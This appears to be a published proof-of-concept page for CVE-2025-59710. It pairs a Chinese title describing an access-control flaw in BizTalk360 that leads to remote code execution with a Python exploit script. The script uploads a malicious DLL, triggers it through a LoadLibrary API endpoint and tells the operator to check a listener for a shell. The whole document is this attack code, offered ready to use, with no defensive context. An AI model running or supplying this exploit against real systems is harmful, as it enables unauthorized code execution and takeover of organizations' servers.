CVE-2025-59710 Biztalk360访问控制缺陷致远程代码执行

import requests # Target configuration target_host = "http://vulnerable-biztalk360-server" upload_endpoint = f"{target_host}/api/upload" load_dll_endpoint = f"{target_host}/api/Operations/LoadLibrary" # Path to the crafted malicious DLL malicious_dll_path = "./ExploitPayload.dll" def exploit(): try: # Step 1: Upload the malicious DLL to the server # Note: The actual upload mechanism might require specific parameters or headers print("[+] Uploading malicious DLL...") with open(malicious_dll_path, 'rb') as f: files = {'file': ('ExploitPayload.dll', f, 'application/octet-stream')} upload_response = requests.post(upload_endpoint, files=files) if upload_response.status_code != 200: print(f"[-] Upload failed: {upload_response.text}") return # Assuming the server saves the file to a predictable path # This path often needs to be guessed or disclosed via other vulnerabilities dll_path = "C:\\inetpub\\wwwroot\\BizTalk360\\Uploads\\ExploitPayload.dll" # Step 2: Trigger the DLL Loading vulnerability print(f"[+] Triggering DLL load from: {dll_path}") payload_data = { "assemblyPath": dll_path, "className": "ExploitClass", "methodName": "Execute" } exploit_response = requests.post(load_dll_endpoint, json=payload_data) if exploit_response.status_code == 200: print("[+] Exploit request sent successfully. Check your listener for shell.") else: print(f"[-] Exploit trigger failed: {exploit_response.text}") except Exception as e: print(f"[!] An error occurred: {str(e)}") if __name__ == "__main__": exploit()